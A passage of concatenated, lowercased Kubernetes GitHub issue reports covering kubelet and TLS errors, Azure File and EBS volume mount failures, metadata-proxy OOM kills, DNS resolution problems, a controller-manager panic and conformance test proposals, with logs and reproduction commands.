k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://192.168.1.123:6443/api/v1/services?limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:43 gernot-pi3 kubelet 11521 : e0505 12:19:43.272665   11521 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://192.168.1.123:6443/api/v1/nodes?fieldselector=metadata.name%3dgernot-pi3&limit=500&resourceversion=0: net/http: tls handshake timeout\r may 05 12:19:45 gernot-pi3 kubelet 11521 : i0505 12:19:45.552866   11521 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 05 12:19:45 gernot-pi3 kubelet 11521 : i0505 12:19:45.584857   11521 kubelet_node_status.go:82  attempting to register node gernot-pi3\r may 05 12:19:47 gernot-pi3 kubelet 11521 : e0505 12:19:47.637795   11521 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ gernot-pi3\  not found\r may 05 12:19:47 gernot-pi3 kubelet 11521 : w0505 12:19:47.752544   11521 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r may 05 12:19:47 gernot-pi3 kubelet 11521 : e0505 12:19:47.754399   11521 kubelet.go:2125  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r i am using the swagger api and it doesn't include the possible errors that can be returned from the api. i am generating a client, so the possible errors are necessary.\r \r   what you expected to happen  :\r swagger allows all possible return codes to be used. these should be included in the swagger api.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r azure file remount on windows in same node would fail\r \r   what you expected to happen  :\r if user delete a pod with azure file mount in deployment and it would probably schedule a pod on same node, azure file mount will fail since  new-smbglobalmapping  command would fail if file share is already mounted on the node:\r    \r new-smbglobalmapping -remotepath \\\\xxx.file.core.windows.net\\fileshare -credential $credential\r    \r it's related to bug: https://github.com/azure/aks-engine/issues/327\r \r error logs would be like following:\r    \r e0118 08:15:52.041014    2112 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-file/42c0ea39-1af9-11e9-8941-000d3af95268-pvc-d7e1b5f9-1af3-11e9-8941-000d3af95268\\\   \\\ 42c0ea39-1af9-11e9-8941-000d3af95268\\\  \  failed. no retries permitted until 2019-01-18 08:15:53.0410149 +0000 gmt m=+732.446642701  durationbeforeretry 1s . error: \ mountvolume.setup failed for volume \\\ pvc-d7e1b5f9-1af3-11e9-8941-000d3af95268\\\   uniquename: \\\ kubernetes.io/azure-file/42c0ea39-1af9-11e9-8941-000d3af95268-pvc-d7e1b5f9-1af3-11e9-8941-000d3af95268\\\   pod \\\ deployment-azurefile-697f98d559-6zrlf\\\   uid: \\\ 42c0ea39-1af9-11e9-8941-000d3af95268\\\   : azuremount: smbglobalmapping failed: exit status 1, only smb mount is supported now, output: \\\ new-smbglobalmapping : generic failure \\\\r\\\ at line:1 char:190\\\\r\\\ + ... ser, $pword;new-smbglobalmapping -remotepath $env:smbremotepath -cred ...\\\\r\\\ +                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\\\r\\\     + categoryinfo          : notspecified:  msft_smbglobalmapping:root/microsoft/...mbglobalmapping   new-smbglobalma \\\\r\\\    pping , cimexception\\\\r\\\     + fullyqualifiederrorid : hresult 0x80041001,new-smbglobalmapping\\\\r\\\  \\\\r\\\ \\\ \ \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9-v1.12, master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign

my kubernetes master in gce kube-up is using  10.123.45.1/30  which is enough ip addresses for 3 pods max yet the kubelet is reporting allocatable capacity for 40 pods.  cc @kubernetes/goog-node

i have a pod named 'frontend' with two containers ui and server in it, and a single service 'server' exposing them of type loadbalancer.\r \r ui exposing on port 4200 and server exposing port 5000\r \r after a recent update of the pods, using kubectl apply, with in the pod service 'server' couldn't be resolved, i don't know why,\r \r when i say curl http://server:5000 it just waits and dies where as for http://localhost:5000 i would get the response,\r \r it's not the case for the services which are not of this pod, i can access other services example:\r curl http://spark:8080 would give me the response from the same pod.\r \r help me out here, thanks!\r \r 

kubemark-500 started failing continuously from ~10 days ago  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce?before=9575 .\r on digging up a bit, i found out that quite frequently the hollow-nodes are failing to create/delete pods. and there are many such logs from hollow-kubelet:\r \r    \r i1114 08:08:24.861541       7 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: net/http: request canceled  client.timeout exceeded while awaiting headers \r i1114 08:08:25.114072       7 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: net/http: request canceled  client.timeout exceeded while awaiting headers \r i1114 08:12:51.032702       7 metadata.go:212  failed to get service accounts from gce metadata server: get http://metadata.google.internal./computemetadata/v1/instance/service-accounts/: dial tcp 169.254.169.254:80: getsockopt: connection refused\r    \r \r  taken from https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/9697/artifacts/kubemark-500-minion-group-5f7n/kubelet-hollow-node-68krn.log \r \r this seems clearly related to changes to metadata-proxy. more specifically change https://github.com/kubernetes/kubernetes/pull/54653 in the  commit diff  https://github.com/kubernetes/kubernetes/compare/7d759ba0c...d4d326b39 .\r \r i checked from the currently running kubemark-500 cluster and found that the metadata-proxy pods are crashing frequently:\r \r    \r $ kubectl get pods -n kube-system -l k8s-app=metadata-proxy\r name                        ready     status             restarts   age\r metadata-proxy-v0.1-6tnk7   2/2       running            11         1h\r metadata-proxy-v0.1-fmkbd   1/2       crashloopbackoff   11         1h\r metadata-proxy-v0.1-gp8zp   2/2       running            11         1h\r metadata-proxy-v0.1-hvqlt   1/2       crashloopbackoff   11         1h\r metadata-proxy-v0.1-p45p5   2/2       running            7          1h\r metadata-proxy-v0.1-pkn6m   2/2       running            7          1h\r metadata-proxy-v0.1-scmxs   2/2       running            0          1h\r metadata-proxy-v0.1-sdccv   2/2       running            11         1h\r    \r \r and the reason for them crashing seems to be oom-killing:\r \r    \r $ kubectl describe pods -n kube-system metadata-proxy-v0.1-gp8zp\r name:           metadata-proxy-v0.1-gp8zp\r namespace:      kube-system\r node:           kubemark-500-minion-group-g6h7/10.142.0.6\r start time:     tue, 14 nov 2017 09:26:12 +0000\r ...\r containers:\r   metadata-proxy:\r     container id:   docker://c52477c5fa28cb12d9b3b2dd5dd196654f8a2e291a64ce54910e0fa479372634\r     image:          gcr.io/google_containers/metadata-proxy:v0.1.4\r     image id:       docker-pullable://gcr.io/google_containers/metadata-proxy@sha256:9ca02cc773e286b28942103e2482ce74e281ef2c18936610d379b26ecb89c533\r     port:           <none>\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       oomkilled\r       exit code:    137\r    \r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc @porridge

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r currently when run kubectl create with --raw, it will raise \ --raw cannot read from a url \  if the filename has a prefix \ http\ , which is not proper as we may have filenames like \ httptest\  or similar.\r \r   what you expected to happen  :\r restrict the url check with \ https://\  or \ http://\  prefix.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run 'kubectl create --raw uri -f' with a filename which has a \ http\  prefix. \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r with out-of-tree azure cloud provider   50752 , metadata won't work any more  kubelet won't call those metadata functions any more . \r \r we should remove the parameter  useinstancemetadata  from azure cloud provider in next release.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the operation metrics emitted by k8s usually contain plugin name as a dimension. the plugin name is typically obtained by calling  getpluginname  interface function. but for csi plugins, this is hardcoded to return \ kubernetes.io/csi\  and whenever a user is running multiple csi plugins - he won't be able to distinguish between metrics emitted for csi volumes.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r /var/lib/kubelet/config.yaml got removed after kubelet update.\r \r   what you expected to happen  :\r kubelet update without /var/lib/kubelet/config.yaml being removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r yum update kubeadm.x86_64 0:1.11.0-0 kubectl.x86_64 0:1.11.0-0  kubelet.x86_64 0:1.11.0-0\r restart kubelet\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  : 3.10.0-862.6.3.el7.x86_64\r - install tools:\r - others:\r

forked from https://github.com/kubernetes/kubernetes/pull/23430 issuecomment-202768265  the ubernetes scheduler needs to know the available resources in each cluster to be able to divide resources  such as replicasets  appropriately.  as per https://github.com/kubernetes/kubernetes/blob/master/docs/design/federation-phase-1.md cluster:  > in phase one it only contains available cpu resources and memory resources. the cluster controller will periodically poll the underlying cluster api server to get cluster capability. in phase one it gets the metrics by simply aggregating metrics from all nodes. in future we will improve this with more efficient ways like leveraging heapster, and also more metrics will be supported.  there is also a proposal to provide cluster level metrics via apiserver:  23376, which we can start using whenever it is available.  cc @kubernetes/sig-cluster-federation

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r i am aware of similar\r issue  29166 which was fixed in  36616 and v1.4.6. however, i can\r still reproduce as of v1.4.6.\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r v1.4.6\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : kube-aws v0.9.1\r \r   what happened  :\r \r periodically, petsets will drop below the number of desired replicas\r and be unable to restore themselves.\r \r the petset shows the following error:\r \r    \r unable to mount volumes for pod \ petset-min-repro-0_default xxx... \ : timeout expired waiting for volumes to attach/mount for pod \ petset-min-repro-0\ /\ default\ . list of unattached/unmounted volumes= storage \r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ petset-min-repro-0\ /\ default\ . list of unattached/unmounted volumes= storage \r    \r \r   what you expected to happen  :\r \r i expect ebs volumes to reattach to the correct pod automatically\r following node failure.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. apply the below yaml to bring up the test petset\r \r    \r   define storage class first so it can be used later\r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: ebs-encrypted-storage\r \r   launch in aws\r provisioner: kubernetes.io/aws-ebs\r \r   ebs-specific settings\r   http://kubernetes.io/docs/user-guide/persistent-volumes/ aws\r parameters:\r   type: io1\r   encrypted: \ true\ \r   zone: us-west-1b\r   iopspergb: \ 10\ \r \r \r ---\r \r   petset boilerplate\r apiversion: apps/v1alpha1\r kind: petset\r metadata:\r   name: petset-min-repro\r   labels:\r     component: test\r     role: reprpoduce\r \r spec:\r   servicename: petset-min-repro\r   replicas: 2\r \r   template:\r     metadata:\r       labels:\r         component: test\r         role: reprpoduce\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r \r     spec:\r \r         one container with an image that does nothing\r       containers:\r       - name: es-data\r         image: alpine:latest\r         command:\r         - tail\r         - -f\r         - /dev/null\r \r           attach persistent storage\r         volumemounts:\r         - name: storage\r           mountpath: /data\r \r   volumeclaimtemplates:\r   - metadata:\r       name: storage\r       annotations:\r           the storage should use the below defined storage class\r           use both alpha and beta annotations for compatibility\r           http://blog.kubernetes.io/2016/10/dynamic-provisioning-and-storage-in-kubernetes.html\r         volume.alpha.kubernetes.io/storage-class: ebs-encrypted-storage\r         volume.beta.kubernetes.io/storage-class: ebs-encrypted-storage\r \r     spec:\r         volume should only be mountable to one pod at a time\r       accessmodes:\r         - readwriteonce\r       resources:\r         requests:\r             smallest allowed io1 volume size\r           storage: 4gi\r \r    \r \r 2. identify the ebs volume bound to one of the pods\r \r    \r pvc=$ kubectl describe pvc storage-petset-min-repro-0 | grep volume | awk '{ print $2 }' \r volume_id=$ kubectl describe pv $pvc | grep volumeid | awk -f '/' '{ print $nf }' \r    \r \r 3. detach the ebs volume from the node. one may reasonably ask why this would\r happen at all, but this is the most reliable way i've found\r to reproduce. it has also occurred randomly.\r \r    \r aws ec2 detach-volume --volume-id=$volume_id\r    \r \r 4. observe that the pod does not successfully restart and\r remains stuck in state  containercreating .\r \r    \r kubectl get pod petset-min-repro-0\r    \r \r   anything else do we need to know  :\r \r i have been able to so far work around this issue by terminating the node\r the pod is attempting to attach onto.\r

the  kube-apiserver  needs a proxy client certificate for the aggregated api servers to trust in order to effectively proxy authentication.   kubeadm  already has the cert/key pairs required and https://github.com/kubernetes/kubernetes/pull/43715 wires them together.\r \r we need similar wiring for  kube-up.sh  so that our e2e tests can test the authentication and authorization flows.\r \r @cheftako @kubernetes/sig-api-machinery-misc

failure cluster  ba118524ada31aef755b  https://go.k8s.io/triage ba118524ada31aef755b        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:elasticsearch\\  --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    6 jobs failed,    143 builds failed. failure stats cover 1 day time range '21 jul 2017 21:50 utc' to '22 jul 2017 21:50 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-es-logging | 45 |  22 jul 2017 21:02 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-es-logging/14845  | | ci-kubernetes-e2e-gci-gce-es-logging | 44 |  22 jul 2017 20:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/11563  | | ci-kubernetes-e2e-gce-examples | 39 |  22 jul 2017 21:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/7910  |   current status  https://go.k8s.io/triage ba118524ada31aef755b

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  : i would like to use pvcs to dynamically provision xfs volumes on aws ebs. this example document implies that it would be possible to create a storage class using the aws-ebs provisioner that has fstype be xfs: https://github.com/kubernetes/examples/blob/master/staging/persistent-volume-provisioning/readme.md\r \r i tried creating the following storage class and pvc, but the resulting pvc just gets stuck in pending state:\r \r    \r ---\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: xfs-storage-class\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   fstype: xfs\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: xfs-ebs\r spec:\r   accessmodes:\r     - readwriteonce\r   storageclassname: xfs-storage-class\r   resources:\r     requests:\r       storage: 200gi\r    \r \r i also tried to  fstype: ext4  with the same result, so it seems like  fstype  is not actually a valid parameter.\r \r   what you expected to happen  : a persistent ebs volume should be created and mounted to the pod that requests the pv as an xfs filesystem.\r \r   how to reproduce it  as minimally and precisely as possible   : see above config example.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r  linux 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux \r - install tools: custom\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  >  \r \r   what happened  :\r i have deployed cluster using acs engine. the cluster seems to be fine. i have deployed some pods and created service for them when ii tried to login to login to container using kubectl exec -ti /bin/bash its throwing dns resolve error for master and agents. error sample.:\r \r root@hostname:/home/user  kubectl exec apache-dns-test-1639388633-hh2gr nslookup kubernetes\r error from server: error dialing backend: dial tcp: lookup hostname on 168.63.129.16:53: no such host\r \r   what you expected to happen  :\r if i execute \ kubectl exec -ti apache-dns-test-1639388633-hh2gr bash\  than it should be take me to running container shell. but its giving error.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r we have active directory dns in our environment and master is created with host entry in dns server. \r the master and agent node container nameserver entry in/etc/resolv.conf as pert inherited from azure vnet.the resolve.conf contains two dns servers \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r output:\r \r root@rbdecchcovamw00:/home/cloudinfraadmin  cat /etc/hosts\r 127.0.0.1 localhost\r \r   the following lines are desirable for ipv6 capable hosts\r ::1 ip6-localhost ip6-loopback\r fe00::0 ip6-localnet\r ff00::0 ip6-mcastprefix\r ff02::1 ip6-allnodes\r ff02::2 ip6-allrouters\r ff02::3 ip6-allhosts\r 10.71.101.30 rbdecchcovamw00.northeurope.cloudapp.azure.com\r root@rbdecchcovamw00:/home/cloudinfraadmin  cat /etc/resolv.conf\r   dynamic resolv.conf 5  file for glibc resolver 3  generated by resolvconf 8 \r       do not edit this file by hand -- your changes will be overwritten\r nameserver 10.10.102.4\r nameserver 10.10.102.8\r nameserver 168.63.129.16\r search rebuscloud.co.uk reddog.microsoft.com\r \r root@rbdecchcovamw00:/home/cloudinfraadmin  kubectl get pods\r name                        ready     status    restarts   age\r apache-2843085959-8hh5c     1/1       running   0          1h\r busybox1                    1/1       running   0          25m\r my-nginx-3337555774-jdfkh   1/1       running   0          51m\r root@rbdecchcovamw00:/home/cloudinfraadmin  kubectl exec -ti busybox1 bash\r error from server: error dialing backend: dial tcp: lookup rbdecchcovaaw00 on 168.63.129.16:53: no such host\r root@rbdecchcovamw00:/home/cloudinfraadmin \r

follow-up of https://github.com/kubernetes/kubernetes/pull/55486 issuecomment-343873447\r \r quoting @sttts:\r \r > the psp admission plugin matches a pod with a podsecuritypolicy. if no policy matches, the pod is rejected. it would be helpful to know which policy made the pod pass the admission step.\r \r /cc @tallclair @sttts @kubernetes/sig-auth-feature-requests @kubernetes/sig-instrumentation-feature-requests

\r   is this a bug report or feature request?  :\r \r   \r  \r   what happened  :\r if we want to expand a volume which is not supported for now, for example, in release 1.8, we want to expand rbd volume, controller-manager will panic.\r we do not check if volume plugin is nil in  generateexpandvolumefunc , \r when  findexpandablepluginbyspec  returns  nil, nil , panic will happen when we call  volumeplugin.expandvolumedevice \r \r    \r dec 27 23:32:26 master kube-controller-manager 4192 : /usr/local/go/src/runtime/asm_amd64.s:2337\r dec 27 23:32:26 master kube-controller-manager 4192 : panic: runtime error: invalid memory address or nil pointer dereference  recovered \r dec 27 23:32:26 master kube-controller-manager 4192 :         panic: runtime error: invalid memory address or nil pointer dereference\r dec 27 23:32:26 master kube-controller-manager 4192 :  signal sigsegv: segmentation violation code=0x1 addr=0x38 pc=0x1a1e95a \r dec 27 23:32:26 master kube-controller-manager 4192 : goroutine 1157  running :\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r dec 27 23:32:26 master kube-controller-manager 4192 : panic 0x2cc10c0, 0x4e280c0 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /usr/local/go/src/runtime/panic.go:491 +0x283\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/pkg/volume/util/operationexecutor.  operationgenerator .generateexpandvolumefunc 0xc420872780, 0xc42163b400, 0x4d7bee0, 0xc4208727b0, 0xc422187cd0, 0xc422187cd0, 0x40e84f, 0x10, 0x2a901a0 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_generator.go:787 +0x2ba\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/pkg/volume/util/operationexecutor.  operationexecutor .expandvolume 0xc420dfa7a0, 0xc42163b400, 0x4d7bee0, 0xc4208727b0, 0x1, 0x1 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_executor.go:726 +0x5c\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/pkg/controller/volume/expand.  syncresize .sync 0xc420d09780 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/sync_volume_resize.go:81 +0x324\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/pkg/controller/volume/expand.  syncresize .sync-fm  \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/sync_volume_resize.go:60 +0x2a\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42128a7b0 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc422187fb0, 0x6fc23ac00, 0x0, 0xc4202b6101, 0xc420070d80 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc42128a7b0, 0x6fc23ac00, 0xc420070d80 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r dec 27 23:32:26 master kube-controller-manager 4192 : k8s.io/kubernetes/pkg/controller/volume/expand.  syncresize .run 0xc420d09780, 0xc420070d80 \r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/sync_volume_resize.go:60 +0x53\r dec 27 23:32:26 master kube-controller-manager 4192 : created by k8s.io/kubernetes/pkg/controller/volume/expand.  expandcontroller .run\r dec 27 23:32:26 master kube-controller-manager 4192 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/expand/expand_controller.go:154 +0x18e\r dec 27 23:32:26 master systemd 1 : kube-controller-manager.service: main process exited, code=exited, status=2/invalidargument\r dec 27 23:32:26 master systemd 1 : kube-controller-manager.service: unit entered failed state.\r dec 27 23:32:26 master systemd 1 : kube-controller-manager.service: failed with result 'exit-code'.\r    \r \r   what you expected to happen  :\r will not panic\r \r \r /assign\r \r

back in 1.5, sig-node defined a set of node conformance tests  i.e., tagged   conformance   . however, there lacks follow-up efforts to maintain the set of conformance tests. imo, except for a specific set of features which depend on the os distribution, container runtime, and/or are still under development, most features/tests should be included in the set of node conformance tests. to maintain the set of the tests and to actually utilize the fact that we have \ conformance\  tests, i think we can start from the following items.\r \r    run only the conformance tests in presubmit   pull-kubernetes-node-e2e  suite  should focus only on the conformance tests.\r    the regular post submit node e2e suite should focus only on the conformance tests.\r    any new node e2e test added should either be tagged as   conformance   or   feature: xxx  .\r    we should add a dedicated ci test job for features.\r \r if a new test does not have any such tag, it will not be run anywhere in ci. this gives the feature owner some incentive to categorize and promote tests for their features.\r \r  prerequisite for doing this: \r - scan and promote/demote tests from the conformance suite.\r - ensure each test is assigned a tag.\r \r  some potential improvements  details tbd : \r  - it should be able to optionally trigger feature-specific test jobs for a given pr.\r  - define a set of common tags such as   feature: performance  .\r \r thoughts? @kubernetes/sig-node-proposals @dchen1107 @derekwaynecarr \r /cc @abgworrall

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r can't delete a statefulset.\r \r   what you expected to happen  :\r successful delete of the resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get statefulsets <name> -n <namespace> -v=9 , works. using  -v=9  shows that it uses apis/apps/  v1beta1  /namespaces/\\<namespace\\>/statefulsets/\\<name\\> .\r \r however running  kubectl delete statefulsets <name> -n <namespace> -v=9  shows that apis/apps/  v1  /namespaces/\\<namespace\\>/statefulsets/\\<name\\> is accessed to delete the resource, resulting in a  404 .\r \r trying the declarative alternative   kubectl delete -f ...    - hoping that would pick up the  apiversion: apps/v1beta1  - fails too for the same reason. \r \r what am i doing wrong? \r \r ---\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ 